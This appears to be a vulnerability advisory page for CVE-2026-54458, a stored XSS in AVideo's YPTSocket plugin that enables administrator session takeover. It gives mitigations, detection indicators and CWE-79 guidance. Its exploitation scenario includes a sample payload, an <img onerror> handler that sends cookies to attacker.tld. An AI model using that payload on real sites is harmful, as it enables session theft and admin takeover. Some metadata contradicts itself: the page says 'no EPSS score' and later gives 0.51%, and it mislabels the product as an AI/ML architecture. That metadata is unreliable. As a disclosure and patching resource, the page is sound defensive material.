CVE-2026-54458: AVideo: stored XSS in YPTSocket enables admin takeover
CRITICAL CISA: ATTENDAVideo's YPTSocket plugin issues WebSocket tokens to anyone, unauthenticated, and then trusts two attacker-controlled query parameters — webSocketSelfURI and page_title — without any sanitization before broadcasting them to every connected client. Because the client-side code injects that broadcast content straight into the DOM via jQuery's $.append(), any administrator with the online-users debug panel open executes attacker JavaScript in their own authenticated session, exposing non-HttpOnly cookies and the CSRF token and letting the attacker replay authenticated admin requests. There is no CISA KEV listing, no EPSS score, and no public exploit or Nuclei template yet, so this has not been weaponized at scale — but the exploit chain itself requires zero privileges, low complexity, and only a single admin viewing a normal debug page, which makes this a high-priority patch rather than a wait-and-see item. Upgrade to AVideo 29.0 or apply commit 8be71e5 immediately, and in the interim restrict or disable public access to the YPTSocket debug/online-users panel and ensure session cookies are HttpOnly and SameSite to blunt the exfiltration path.
What is the risk?
CVSS 9.6 (critical) with a network vector, low attack complexity, and no privileges required makes the entry point trivial to reach — the only friction is user interaction, satisfied whenever an admin has the online-users debug panel open, which on an actively-administered instance is a routine, not rare, event. Impact is severe and asymmetric: a single anonymous WebSocket connection converts into full administrative session takeover (confidentiality high, integrity high), with availability impact limited to what the attacker chooses to break. Exploitation likelihood signals are currently muted — no EPSS score, not in CISA KEV, no public PoC or Nuclei template — so there is no evidence of opportunistic mass scanning yet, but the vulnerability class (unauthenticated input reflected into a jQuery .append() DOM sink) is well-understood and easy to weaponize once a researcher or attacker builds a working payload.
How does the attack unfold?
How severe is it?
What is the attack surface?
What should I do?
1 step-
1) Upgrade to AVideo 29.0 or later, or apply patch commit 8be71e53ccbe9b84b30870db386fb4d2b11e1c16 directly. 2) Until patched, restrict network access to plugin/YPTSocket/getWebSocket.json.php and the online-users debug panel to trusted/internal networks only (reverse proxy ACL or firewall rule) — do not expose it to the open internet. 3) Set HttpOnly and SameSite=Strict on all session cookies so that even if DOM XSS executes, cookie theft is blocked. 4) Rotate the CSRF token generation so it is not renderable/extractable via a compromised DOM context. 5) Detection: monitor WebSocket connection logs for getWebSocket.json.php requests carrying webSocketSelfURI or page_title parameters containing HTML tags (<img, <script, onerror=, onload=) — these are strong indicators of exploitation attempts. 6) Advise admins to avoid leaving the online-users debug panel open in authenticated browser tabs on internet-facing instances until patched.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-54458?
AVideo's YPTSocket plugin issues WebSocket tokens to anyone, unauthenticated, and then trusts two attacker-controlled query parameters — webSocketSelfURI and page_title — without any sanitization before broadcasting them to every connected client. Because the client-side code injects that broadcast content straight into the DOM via jQuery's $.append(), any administrator with the online-users debug panel open executes attacker JavaScript in their own authenticated session, exposing non-HttpOnly cookies and the CSRF token and letting the attacker replay authenticated admin requests. There is no CISA KEV listing, no EPSS score, and no public exploit or Nuclei template yet, so this has not been weaponized at scale — but the exploit chain itself requires zero privileges, low complexity, and only a single admin viewing a normal debug page, which makes this a high-priority patch rather than a wait-and-see item. Upgrade to AVideo 29.0 or apply commit 8be71e5 immediately, and in the interim restrict or disable public access to the YPTSocket debug/online-users panel and ensure session cookies are HttpOnly and SameSite to blunt the exfiltration path.
Is CVE-2026-54458 actively exploited?
No confirmed active exploitation of CVE-2026-54458 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-54458?
1) Upgrade to AVideo 29.0 or later, or apply patch commit 8be71e53ccbe9b84b30870db386fb4d2b11e1c16 directly. 2) Until patched, restrict network access to plugin/YPTSocket/getWebSocket.json.php and the online-users debug panel to trusted/internal networks only (reverse proxy ACL or firewall rule) — do not expose it to the open internet. 3) Set HttpOnly and SameSite=Strict on all session cookies so that even if DOM XSS executes, cookie theft is blocked. 4) Rotate the CSRF token generation so it is not renderable/extractable via a compromised DOM context. 5) Detection: monitor WebSocket connection logs for getWebSocket.json.php requests carrying webSocketSelfURI or page_title parameters containing HTML tags (<img, <script, onerror=, onload=) — these are strong indicators of exploitation attempts. 6) Advise admins to avoid leaving the online-users debug panel open in authenticated browser tabs on internet-facing instances until patched.
What systems are affected by CVE-2026-54458?
This vulnerability affects the following AI/ML architecture patterns: web application admin dashboards, real-time WebSocket messaging layers, ml_ui content management platforms.
What is the CVSS score for CVE-2026-54458?
CVE-2026-54458 has a CVSS v3.1 base score of 9.6 (CRITICAL). The EPSS exploitation probability is 0.51%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0049 Exploit Public-Facing Application Compliance Controls Affected
What are the technical details?
Original Advisory
WWBN AVideo is an open source video platform. Versions prior to 29.0 contain a stored DOM Cross-Site Scripting vulnerability in the YPTSocket plugin. Any unauthenticated remote attacker can execute arbitrary JavaScript in the authenticated origin of every administrator currently viewing a page that renders the YPTSocket online-users debug panel. plugin/YPTSocket/getWebSocket.json.php issues a signed WebSocket token to any anonymous caller, and MessageSQLiteV2::onOpen at plugin/YPTSocket/MessageSQLiteV2.php lines 91 and 110 reads the attacker-controlled webSocketSelfURI and page_title query parameters from the WebSocket connection URL with no validation. Both values persist into the in-memory SQLite connections table and broadcast inside the users_id_online array sent to every connected client; on the client, plugin/YPTSocket/script.js::updateSocketUserCard interpolates the broadcast page_title into an HTML template literal that is passed to jQuery $.append(html), which parses attacker bytes into live DOM nodes including <img> with inline event handlers. Successful attackers can can read non-HttpOnly cookies and the CSRF token rendered into the admin dashboard, issue authenticated requests to any admin-only endpoint, exfiltrate the admin dashboard DOM, and chain into any admin-context mutation. When the victim is an AVideo administrator, the attacker turns a single anonymous WebSocket connection into full administrative takeover via the admin's own session. This issue has been patched by https://github.com/WWBN/AVideo/commit/8be71e53ccbe9b84b30870db386fb4d2b11e1c16.
Exploitation Scenario
An unauthenticated attacker calls plugin/YPTSocket/getWebSocket.json.php to obtain a valid signed WebSocket token, then opens a WebSocket connection to MessageSQLiteV2 with a crafted page_title parameter such as `<img src=x onerror="fetch('//attacker.tld/steal?c='+document.cookie)">`. The server persists this value unsanitized into the users_id_online broadcast payload sent to all connected clients. When an AVideo administrator has the online-users debug panel open, script.js's updateSocketUserCard function interpolates the malicious page_title into an HTML template string and passes it to jQuery's $.append(), which parses the attacker's bytes into live DOM nodes and fires the onerror handler in the admin's authenticated browser context. The injected script reads non-HttpOnly session cookies and the CSRF token rendered in the admin dashboard DOM, exfiltrates them to an attacker-controlled endpoint, and the attacker then replays them to issue authenticated requests against any admin-only endpoint — achieving full administrative control of the AVideo instance from a single anonymous WebSocket connection.
Weaknesses (CWE)
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Primary
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'): The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
- [Architecture and Design] Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
- [Implementation, Architecture and Design] Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed. HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Casca
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L Timeline
Related Vulnerabilities
CVE-2023-3765 10.0 MLflow: path traversal allows arbitrary file read
Same attack type: Data Leakage CVE-2025-5120 10.0 smolagents: sandbox escape enables unauthenticated RCE
Same attack type: Data Leakage CVE-2025-2828 10.0 LangChain RequestsToolkit: SSRF exposes cloud metadata
Same attack type: Auth Bypass CVE-2025-53767 10.0 Azure OpenAI: SSRF EoP, no auth required (CVSS 10)
Same attack type: Auth Bypass CVE-2025-59528 10.0 Flowise: Unauthenticated RCE via MCP config injection
Same attack type: Code Execution